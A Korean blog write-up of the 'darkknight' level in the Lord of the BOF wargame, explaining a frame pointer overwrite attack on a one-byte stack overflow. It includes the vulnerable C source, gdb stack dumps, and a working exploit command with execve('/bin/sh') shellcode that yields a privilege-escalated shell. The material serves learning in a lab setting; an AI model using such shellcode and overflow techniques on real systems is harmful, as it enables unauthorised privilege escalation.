시작
안녕하세요 :D
많은 일들이 있었어요.. 우리 대장님 박효신 콘서트도 갔다왔고 JLPT N2도 겨우겨우 쳤고!!
좀이따 스파이더맨도 보러 갈거에욯ㅎㅎㅎ
당장 내일 복귀지만 빠르게 몇 문제 풀어보려고 합니다.
시작해보죠!!
Write UP
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
problem_child()
함수가 눈에 띄네요.
버퍼는 40 bytes인데 41 bytes를 채워 넣습니다. 딱 SFP의 1 byte만 overwrite 되는군요.
FPO 기법이 뭔지 알아야지 이 문제를 풀 수 있겠죠??
FPO는 Fake EBP와 유사하게 스택프레임이 사라질 때 발생하는 에필로그를 이용한 공격 기법입니다.
성립 조건
main 함수 이외의 서브 함수가 한 개 이상 존재한다.
SFP의 1 bytes를 덮어쓸 수 있다.
leave는 mov esp, ebp
→ pop ebp
ret은 pop eip
→ jmp eip
란 것을 알고 있다면 쉽게 이해가 갈 거에요!!
서브 함수에서 SFP의 1 byte를 쉘코드가 저장된 위치 + a로 적절하게 조작하면
main 함수에서 leave ret이 실행될 때 쉘코드의 위치로 점프하게 돼요.
gdb로 보면서 자세히 알아봅시다.
(gdb) x/40wx $esp
0xbffffab4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad4: 0x41414141 0x41414141 0xbffffa00 0x0804849e
0xbffffae4: 0xbffffc4b 0xbffffb08 0x400309cb 0x00000002
0xbffffaf4: 0xbffffb34 0xbffffb40 0x40013868 0x00000002
problem_child() 함수의 leave에 BP를 걸고 달렸습니다.
입력으론 A * 40을 주었어요.
0xbffffadc
부분이 SFP인 것이 보입니다. 1 byte를 overwrite하면 pop ebp
명령이 실행될 때 ebp에 조작된 값이 들어가겠죠?
이 녀석은 main 함수까지 영향을 끼칠 거에요.
자, 우리는 main 함수에서의 leave ret을 주의깊게 봐야 합니다.
problem_child() 함수에서 조작된 ebp가 main으로 넘어가고, leave 명령이 실행되면서 쉘코드의 주소를 가리키게 만들면 돼요.
어떤 식으로 조작을 하냐!! 바로 (쉘코드가 존재하는 주소를 가리키는 주소) - 4를 넣어주면 돼요.
leave에 의해 pop
이 한 번, ret에 의해 eip에 쉘코드의 주소가 들어가기 때문이에요.
[golem@localhost golem]$ ./darkknight `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" * 15 + "\xac"'`
1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒6▒▒▒▒▒▒ @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
Exploit!!
마무리
푼 지는 꽤 됐는데 롸업을 써야지.. 써야지 하고 미루다가 급하게 쓰게 됐네요 ㅋㅋㅋㅋㅋㅋ
감사합니다 :D